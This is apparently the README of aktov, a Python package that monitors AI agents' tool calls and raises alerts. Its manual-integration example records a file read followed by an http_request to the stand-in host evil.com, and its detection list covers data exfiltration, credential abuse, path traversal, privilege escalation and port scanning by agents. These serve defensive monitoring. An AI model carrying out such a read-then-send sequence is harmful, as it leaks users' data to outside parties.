aktov 0.3.2

Detection engineering for AI agents. Alerts when agents do weird or risky things.

aktov

Detection engineering for AI agents.

pip install aktov — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

Claude Code

pip install aktov
aktov init claude-code
# Done. Alerts appear in real-time during Claude Code sessions.
# Run `aktov report` to review after a session.

OpenAI Agent SDK

from agents import Agent, Runner
from aktov.integrations.openai_agents import AktovHooks

hooks = AktovHooks(aktov_agent_name="my-agent")
result = await Runner.run(agent, input="...", hooks=hooks)
response = hooks.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

LangChain

from aktov.integrations.langchain import AktovCallback

cb = AktovCallback(aktov_agent_name="my-agent")
agent.invoke("do something", config={"callbacks": [cb]})
response = cb.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

MCP

from aktov.integrations.mcp import wrap

traced = wrap(mcp_client, aktov_agent_name="my-agent")
result = await traced.call_tool("read_file", {"path": "/data/report.csv"})
response = traced.end_trace()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

Manual (any framework)

from aktov import Aktov

ak = Aktov(agent_id="my-agent", agent_type="custom")
trace = ak.start_trace()
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

No API key needed. Works immediately after pip install aktov.

Want to see it in action first? Try the Detection Lab — 5 demos that show real attack detection in 30 seconds.

Setup

Use aktov init to get framework-specific instructions:

aktov init claude-code      # writes hook config automatically
aktov init openai-agents    # prints code to add
aktov init langchain        # prints code to add
aktov init mcp              # prints code to add
aktov init custom           # prints manual API usage

Connect to Cloud

Add an API key to unlock cross-trace correlation, dedup, webhooks, and the full ruleset:

ak = Aktov(api_key="ak_...", agent_id="my-agent", agent_type="summarizer")

What It Detects

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

• Data exfiltration — read followed by network egress to external domains
• Capability escalation — agents accessing tools outside their authorized scope
• Path traversal — ../ patterns in tool arguments (prompt injection indicator)
• Credential abuse — non-credential agents touching secrets/vaults
• Runaway agents — extreme chain lengths, burst failures, port scanning

Features

• Plug-and-play: 1-2 lines to integrate with Claude Code, OpenAI Agent SDK, LangChain, MCP
• Local rule evaluation: trace.end() evaluates bundled rules instantly — no cloud needed
• Near-zero latency: hooks just append to memory — evaluation only runs at .end()
• SAFE mode (default): raw arguments never leave your machine — only semantic flags are extracted
• Custom rules: bring your own YAML detection rules via rules_dir
• Cloud upgrade: add api_key for cross-trace analysis, dedup, webhooks, dashboard

CLI

# Set up for your framework
aktov init claude-code

# Review Claude Code session alerts
aktov report

# Scan trace files against detection rules (works offline)
aktov scan trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

Custom Rules

Load your own YAML detection rules instead of the bundled samples:

ak = Aktov(agent_id="my-agent", agent_type="summarizer", rules_dir="./my-rules")

SAFE vs DEBUG Mode

	SAFE (default)	DEBUG
Raw arguments	Stripped client-side	Included
Semantic flags	Extracted and sent	Extracted and sent
Use case	Production	Development only

License

Apache-2.0